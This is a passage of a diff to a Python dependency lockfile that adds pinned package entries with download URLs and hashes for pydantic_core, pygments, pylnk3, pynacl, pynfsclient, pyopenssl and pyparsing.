+ { url = "https://files.pythonhosted.org/packages/ad/1f/8970b150a4b4365623ae00fc88603491f763c627311ae8031e3111356d6e/pydantic_core-2.46.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462", size = 1952179, upload-time = "2026-05-06T13:36:59.812Z" }, + { url = "https://files.pythonhosted.org/packages/95/30/5211a831ae054928054b2f79731661087a2bc5c01e825c672b3a4a8f1b3e/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9", size = 1978926, upload-time = "2026-05-06T13:37:39.933Z" }, + { url = "https://files.pythonhosted.org/packages/57/e9/689668733b1eb67adeef047db3c2e8788fcf65a7fd9c9e2b46b7744fe245/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4", size = 2046785, upload-time = "2026-05-06T13:38:01.995Z" }, + { url = "https://files.pythonhosted.org/packages/60/d9/6715260422ff50a2109878fd24d948a6c3446bb2664f34ee78cd972b3acd/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914", size = 2228733, upload-time = "2026-05-06T13:40:50.371Z" }, + { url = "https://files.pythonhosted.org/packages/18/ae/fdb2f64316afca925640f8e70bb1a564b0ec2721c1389e25b8eb4bf9a299/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28", size = 2307534, upload-time = "2026-05-06T13:37:21.531Z" }, + { url = "https://files.pythonhosted.org/packages/89/1d/8eff589b45bb8190a9d12c49cfad0f176a5cbd1534908a6b5125e2886239/pydantic_core-2.46.4-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b", size = 2099732, upload-time = "2026-05-06T13:39:31.942Z" }, + { url = "https://files.pythonhosted.org/packages/06/d5/ee5a3366637fee41dee51a1fc91562dcf12ddbc68fda34e6b253da2324bb/pydantic_core-2.46.4-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c", size = 2129627, upload-time = "2026-05-06T13:37:25.033Z" }, + { url = "https://files.pythonhosted.org/packages/94/33/2414be571d2c6a6c4d08be21f9292b6d3fdb08949a97b6dfe985017821db/pydantic_core-2.46.4-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb", size = 2179141, upload-time = "2026-05-06T13:37:14.046Z" }, + { url = "https://files.pythonhosted.org/packages/7b/79/7daa95be995be0eecc4cf75064cb33f9bbbfe3fe0158caf2f0d4a996a5c7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898", size = 2184325, upload-time = "2026-05-06T13:36:53.615Z" }, + { url = "https://files.pythonhosted.org/packages/9f/cb/d0a382f5c0de8a222dc61c65348e0ce831b1f68e0a018450d31c2cace3a5/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e", size = 2323990, upload-time = "2026-05-06T13:40:29.971Z" }, + { url = "https://files.pythonhosted.org/packages/05/db/d9ba624cc4a5aced1598e88c04fdbd8310c8a69b9d38b9a3d39ce3a61ed7/pydantic_core-2.46.4-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519", size = 2369978, upload-time = "2026-05-06T13:37:23.027Z" }, + { url = "https://files.pythonhosted.org/packages/f2/20/d15df15ba918c423461905802bfd2981c3af0bfa0e40d05e13edbfa48bc3/pydantic_core-2.46.4-cp314-cp314-win32.whl", hash = "sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4", size = 1966354, upload-time = "2026-05-06T13:38:03.499Z" }, + { url = "https://files.pythonhosted.org/packages/fc/b6/6b8de4c0a7d7ab3004c439c80c5c1e0a3e8d78bbae19379b01960383d9e5/pydantic_core-2.46.4-cp314-cp314-win_amd64.whl", hash = "sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac", size = 2072238, upload-time = "2026-05-06T13:39:40.807Z" }, + { url = "https://files.pythonhosted.org/packages/32/36/51eb763beec1f4cf59b1db243a7dcc39cbb41230f050a09b9d69faaf0a48/pydantic_core-2.46.4-cp314-cp314-win_arm64.whl", hash = "sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a", size = 2018251, upload-time = "2026-05-06T13:37:26.72Z" }, + { url = "https://files.pythonhosted.org/packages/e8/91/855af51d625b23aa987116a19e231d2aaef9c4a415273ddc189b79a45fee/pydantic_core-2.46.4-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0", size = 2099593, upload-time = "2026-05-06T13:39:47.682Z" }, + { url = "https://files.pythonhosted.org/packages/fb/1b/8784a54c65edb5f49f0a14d6977cf1b209bba85a4c77445b255c2de58ab3/pydantic_core-2.46.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d", size = 1935226, upload-time = "2026-05-06T13:40:40.428Z" }, + { url = "https://files.pythonhosted.org/packages/e8/e7/1955d28d1afc56dd4b3ad7cc0cf39df1b9852964cf16e5d13912756d6d6b/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b", size = 1974605, upload-time = "2026-05-06T13:37:32.029Z" }, + { url = "https://files.pythonhosted.org/packages/93/e2/3fedbf0ba7a22850e6e9fd78117f1c0f10f950182344d8a6c535d468fdd8/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000", size = 2030777, upload-time = "2026-05-06T13:38:55.239Z" }, + { url = "https://files.pythonhosted.org/packages/f8/61/46be275fcaaba0b4f5b9669dd852267ce1ff616592dccf7a7845588df091/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e", size = 2236641, upload-time = "2026-05-06T13:37:08.096Z" }, + { url = "https://files.pythonhosted.org/packages/60/db/12e93e46a8bac9988be3c016860f83293daea8c716c029c9ace279036f2f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd", size = 2286404, upload-time = "2026-05-06T13:40:20.221Z" }, + { url = "https://files.pythonhosted.org/packages/e2/4a/4d8b19008f38d31c53b8219cfedc2e3d5de5fe99d90076b7e767de29274f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3", size = 2109219, upload-time = "2026-05-06T13:38:12.153Z" }, + { url = "https://files.pythonhosted.org/packages/88/70/3cbc40978fefb7bb09c6708d40d4ad1a5d70fd7213c3d17f971de868ec1f/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7", size = 2110594, upload-time = "2026-05-06T13:40:02.971Z" }, + { url = "https://files.pythonhosted.org/packages/9d/20/b8d36736216e29491125531685b2f9e61aa5b4b2599893f8268551da3338/pydantic_core-2.46.4-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff", size = 2159542, upload-time = "2026-05-06T13:39:27.506Z" }, + { url = "https://files.pythonhosted.org/packages/1d/a2/367df868eb584dacf6bf82a389272406d7178e301c4ac82545ab98bc2dd9/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424", size = 2168146, upload-time = "2026-05-06T13:38:31.93Z" }, + { url = "https://files.pythonhosted.org/packages/c1/b8/4460f77f7e201893f649a29ab355dddd3beee8a97bcb1a320db414f9a06e/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6", size = 2306309, upload-time = "2026-05-06T13:37:44.717Z" }, + { url = "https://files.pythonhosted.org/packages/64/c4/be2639293acd87dc8ddbcec41a73cee9b2ebf996fe6d892a1a74e88ad3f7/pydantic_core-2.46.4-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565", size = 2369736, upload-time = "2026-05-06T13:37:05.645Z" }, + { url = "https://files.pythonhosted.org/packages/30/a6/9f9f380dbb301f67023bf8f707aaa75daadf84f7152d95c410fd7e81d994/pydantic_core-2.46.4-cp314-cp314t-win32.whl", hash = "sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02", size = 1955575, upload-time = "2026-05-06T13:38:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/40/1f/f1eb9eb350e795d1af8586289746f5c5677d16043040d63710e22abc43c9/pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5", size = 2051624, upload-time = "2026-05-06T13:38:21.672Z" }, + { url = "https://files.pythonhosted.org/packages/f6/d2/42dd53d0a85c27606f316d3aa5d2869c4e8470a5ed6dec30e4a1abe19192/pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596", size = 2017325, upload-time = "2026-05-06T13:40:52.723Z" }, + { url = "https://files.pythonhosted.org/packages/ee/a4/73995fd4ebbb46ba0ee51e6fa049b8f02c40daebb762208feda8a6b7894d/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c", size = 2111589, upload-time = "2026-05-06T13:37:10.817Z" }, + { url = "https://files.pythonhosted.org/packages/fb/7f/f37d3a5e8bfcc2e403f5c57a730f2d815693fb42119e8ea48b3789335af1/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b", size = 1944552, upload-time = "2026-05-06T13:36:56.717Z" }, + { url = "https://files.pythonhosted.org/packages/15/3c/d7eb777b3ff43e8433a4efb39a17aa8fd98a4ee8561a24a67ef5db07b2d6/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b", size = 1982984, upload-time = "2026-05-06T13:39:06.207Z" }, + { url = "https://files.pythonhosted.org/packages/63/87/70b9f40170a81afd55ca26c9b2acb25c20d64bcfbf888fafecb3ba077d4c/pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea", size = 2138417, upload-time = "2026-05-06T13:39:45.476Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1d/8987ad40f65ae1432753072f214fb5c74fe47ffbd0698bb9cbbb585664f8/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7", size = 2095527, upload-time = "2026-05-06T13:39:52.283Z" }, + { url = "https://files.pythonhosted.org/packages/64/d3/84c282a7eee1d3ac4c0377546ef5a1ea436ce26840d9ac3b7ed54a377507/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df", size = 1936024, upload-time = "2026-05-06T13:40:15.671Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ca/eac61596cdeb4d7e174d3dc0bd8a6238f14f75f97a24e7b7db4c7e7340a0/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526", size = 1990696, upload-time = "2026-05-06T13:38:34.717Z" }, + { url = "https://files.pythonhosted.org/packages/fa/c3/7c8b240552251faf6b3a957db200fcfbbcec36763c050428b601e0c9b83b/pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0", size = 2147590, upload-time = "2026-05-06T13:39:29.883Z" }, + { url = "https://files.pythonhosted.org/packages/11/cb/428de0385b6c8d44b716feba566abfacfbd23ee3c4439faa789a1456242f/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0", size = 2112782, upload-time = "2026-05-06T13:37:04.016Z" }, + { url = "https://files.pythonhosted.org/packages/0b/b5/6a17bdadd0fc1f170adfd05a20d37c832f52b117b4d9131da1f41bb097ce/pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7", size = 1952146, upload-time = "2026-05-06T13:39:43.092Z" }, + { url = "https://files.pythonhosted.org/packages/2a/dc/03734d80e362cd43ef65428e9de77c730ce7f2f11c60d2b1e1b39f0fbf99/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2", size = 2134492, upload-time = "2026-05-06T13:36:58.124Z" }, + { url = "https://files.pythonhosted.org/packages/de/df/5e5ffc085ed07cc22d298134d3d911c63e91f6a0eb91fe646750a3209910/pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9", size = 2156604, upload-time = "2026-05-06T13:37:49.88Z" }, + { url = "https://files.pythonhosted.org/packages/81/44/6e112a4253e56f5705467cbab7ab5e91ee7398ba3d56d358635958893d3e/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf", size = 2183828, upload-time = "2026-05-06T13:37:43.053Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ad/5565071e937d8e752842ac241463944c9eb14c87e2d269f2658a5bd05e98/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30", size = 2310000, upload-time = "2026-05-06T13:37:56.694Z" }, + { url = "https://files.pythonhosted.org/packages/4f/c3/66883a5cec183e7fba4d024b4cbbe61851a63750ef606b0afecc46d1f2bf/pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc", size = 2361286, upload-time = "2026-05-06T13:40:05.667Z" }, + { url = "https://files.pythonhosted.org/packages/4b/2d/69abac8f838090bbecd5df894befb2c2619e7996a98ddb949db9f3b93225/pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983", size = 2193071, upload-time = "2026-05-06T13:38:08.682Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pylnk3" +version = "0.4.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b9/7c/8f824baeeb854ebb3c5f547c791cde05733a2e66ae4f249a70ff23c2b7ab/pylnk3-0.4.3.tar.gz", hash = "sha256:fbc5f512b581382c2a4c11e6df3796f9975bcfd99e3fca2afe531ea61b3c4ac2", size = 23324, upload-time = "2025-04-28T19:06:52.103Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/31/86/ed659fbdce3befc0ad059e7c8186b9fceff5b9301122a3930016747b2f9d/pylnk3-0.4.3-py3-none-any.whl", hash = "sha256:fafa9293290163fed30541fb38f7df21a0e3f6fcc8324597a898ce694c9a593d", size = 21952, upload-time = "2025-04-28T19:06:50.509Z" }, +] + +[[package]] +name = "pynacl" +version = "1.6.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d9/9a/4019b524b03a13438637b11538c82781a5eda427394380381af8f04f467a/pynacl-1.6.2.tar.gz", hash = "sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c", size = 3511692, upload-time = "2026-01-01T17:48:10.851Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4b/79/0e3c34dc3c4671f67d251c07aa8eb100916f250ee470df230b0ab89551b4/pynacl-1.6.2-cp314-cp314t-macosx_10_10_universal2.whl", hash = "sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594", size = 390064, upload-time = "2026-01-01T17:31:57.264Z" }, + { url = "https://files.pythonhosted.org/packages/eb/1c/23a26e931736e13b16483795c8a6b2f641bf6a3d5238c22b070a5112722c/pynacl-1.6.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0", size = 809370, upload-time = "2026-01-01T17:31:59.198Z" }, + { url = "https://files.pythonhosted.org/packages/87/74/8d4b718f8a22aea9e8dcc8b95deb76d4aae380e2f5b570cc70b5fd0a852d/pynacl-1.6.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9", size = 1408304, upload-time = "2026-01-01T17:32:01.162Z" }, + { url = "https://files.pythonhosted.org/packages/fd/73/be4fdd3a6a87fe8a4553380c2b47fbd1f7f58292eb820902f5c8ac7de7b0/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574", size = 844871, upload-time = "2026-01-01T17:32:02.824Z" }, + { url = "https://files.pythonhosted.org/packages/55/ad/6efc57ab75ee4422e96b5f2697d51bbcf6cdcc091e66310df91fbdc144a8/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634", size = 1446356, upload-time = "2026-01-01T17:32:04.452Z" }, + { url = "https://files.pythonhosted.org/packages/78/b7/928ee9c4779caa0a915844311ab9fb5f99585621c5d6e4574538a17dca07/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88", size = 826814, upload-time = "2026-01-01T17:32:06.078Z" }, + { url = "https://files.pythonhosted.org/packages/f7/a9/1bdba746a2be20f8809fee75c10e3159d75864ef69c6b0dd168fc60e485d/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14", size = 1411742, upload-time = "2026-01-01T17:32:07.651Z" }, + { url = "https://files.pythonhosted.org/packages/f3/2f/5e7ea8d85f9f3ea5b6b87db1d8388daa3587eed181bdeb0306816fdbbe79/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444", size = 801714, upload-time = "2026-01-01T17:32:09.558Z" }, + { url = "https://files.pythonhosted.org/packages/06/ea/43fe2f7eab5f200e40fb10d305bf6f87ea31b3bbc83443eac37cd34a9e1e/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b", size = 1372257, upload-time = "2026-01-01T17:32:11.026Z" }, + { url = "https://files.pythonhosted.org/packages/4d/54/c9ea116412788629b1347e415f72195c25eb2f3809b2d3e7b25f5c79f13a/pynacl-1.6.2-cp314-cp314t-win32.whl", hash = "sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145", size = 231319, upload-time = "2026-01-01T17:32:12.46Z" }, + { url = "https://files.pythonhosted.org/packages/ce/04/64e9d76646abac2dccf904fccba352a86e7d172647557f35b9fe2a5ee4a1/pynacl-1.6.2-cp314-cp314t-win_amd64.whl", hash = "sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590", size = 244044, upload-time = "2026-01-01T17:32:13.781Z" }, + { url = "https://files.pythonhosted.org/packages/33/33/7873dc161c6a06f43cda13dec67b6fe152cb2f982581151956fa5e5cdb47/pynacl-1.6.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2", size = 188740, upload-time = "2026-01-01T17:32:15.083Z" }, + { url = "https://files.pythonhosted.org/packages/be/7b/4845bbf88e94586ec47a432da4e9107e3fc3ce37eb412b1398630a37f7dd/pynacl-1.6.2-cp38-abi3-macosx_10_10_universal2.whl", hash = "sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465", size = 388458, upload-time = "2026-01-01T17:32:16.829Z" }, + { url = "https://files.pythonhosted.org/packages/1e/b4/e927e0653ba63b02a4ca5b4d852a8d1d678afbf69b3dbf9c4d0785ac905c/pynacl-1.6.2-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0", size = 800020, upload-time = "2026-01-01T17:32:18.34Z" }, + { url = "https://files.pythonhosted.org/packages/7f/81/d60984052df5c97b1d24365bc1e30024379b42c4edcd79d2436b1b9806f2/pynacl-1.6.2-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4", size = 1399174, upload-time = "2026-01-01T17:32:20.239Z" }, + { url = "https://files.pythonhosted.org/packages/68/f7/322f2f9915c4ef27d140101dd0ed26b479f7e6f5f183590fd32dfc48c4d3/pynacl-1.6.2-cp38-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87", size = 835085, upload-time = "2026-01-01T17:32:22.24Z" }, + { url = "https://files.pythonhosted.org/packages/3e/d0/f301f83ac8dbe53442c5a43f6a39016f94f754d7a9815a875b65e218a307/pynacl-1.6.2-cp38-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c", size = 1437614, upload-time = "2026-01-01T17:32:23.766Z" }, + { url = "https://files.pythonhosted.org/packages/c4/58/fc6e649762b029315325ace1a8c6be66125e42f67416d3dbd47b69563d61/pynacl-1.6.2-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130", size = 818251, upload-time = "2026-01-01T17:32:25.69Z" }, + { url = "https://files.pythonhosted.org/packages/c9/a8/b917096b1accc9acd878819a49d3d84875731a41eb665f6ebc826b1af99e/pynacl-1.6.2-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6", size = 1402859, upload-time = "2026-01-01T17:32:27.215Z" }, + { url = "https://files.pythonhosted.org/packages/85/42/fe60b5f4473e12c72f977548e4028156f4d340b884c635ec6b063fe7e9a5/pynacl-1.6.2-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e", size = 791926, upload-time = "2026-01-01T17:32:29.314Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f9/e40e318c604259301cc091a2a63f237d9e7b424c4851cafaea4ea7c4834e/pynacl-1.6.2-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577", size = 1363101, upload-time = "2026-01-01T17:32:31.263Z" }, + { url = "https://files.pythonhosted.org/packages/48/47/e761c254f410c023a469284a9bc210933e18588ca87706ae93002c05114c/pynacl-1.6.2-cp38-abi3-win32.whl", hash = "sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa", size = 227421, upload-time = "2026-01-01T17:32:33.076Z" }, + { url = "https://files.pythonhosted.org/packages/41/ad/334600e8cacc7d86587fe5f565480fde569dfb487389c8e1be56ac21d8ac/pynacl-1.6.2-cp38-abi3-win_amd64.whl", hash = "sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0", size = 239754, upload-time = "2026-01-01T17:32:34.557Z" }, + { url = "https://files.pythonhosted.org/packages/29/7d/5945b5af29534641820d3bd7b00962abbbdfee84ec7e19f0d5b3175f9a31/pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c", size = 184801, upload-time = "2026-01-01T17:32:36.309Z" }, +] + +[[package]] +name = "pynfsclient" +version = "0.1.5" +source = { git = "https://github.com/Pennyw0rth/NfsClient#a8fea2c163bf665dc6a8e35bb50e7baf81e2c6ed" } + +[[package]] +name = "pyopenssl" +version = "25.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/04/8c/cd89ad05804f8e3c17dea8f178c3f40eeab5694c30e0c9f5bcd49f576fc3/pyopenssl-25.1.0.tar.gz", hash = "sha256:8d031884482e0c67ee92bf9a4d8cceb08d92aba7136432ffb0703c5280fc205b", size = 179937, upload-time = "2025-05-17T16:28:31.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/80/28/2659c02301b9500751f8d42f9a6632e1508aa5120de5e43042b8b30f8d5d/pyopenssl-25.1.0-py3-none-any.whl", hash = "sha256:2b11f239acc47ac2e5aca04fd7fa829800aeee22a2eb30d744572a157bd8a1ab", size = 56771, upload-time = "2025-05-17T16:28:29.197Z" }, +] + +[[package]] +name = "pyparsing" +version = "3.3.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f3/91/9c6ee907786a473bf81c5f53cf703ba0957b23ab84c264080fb5a450416f/pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc", size = 6851574, 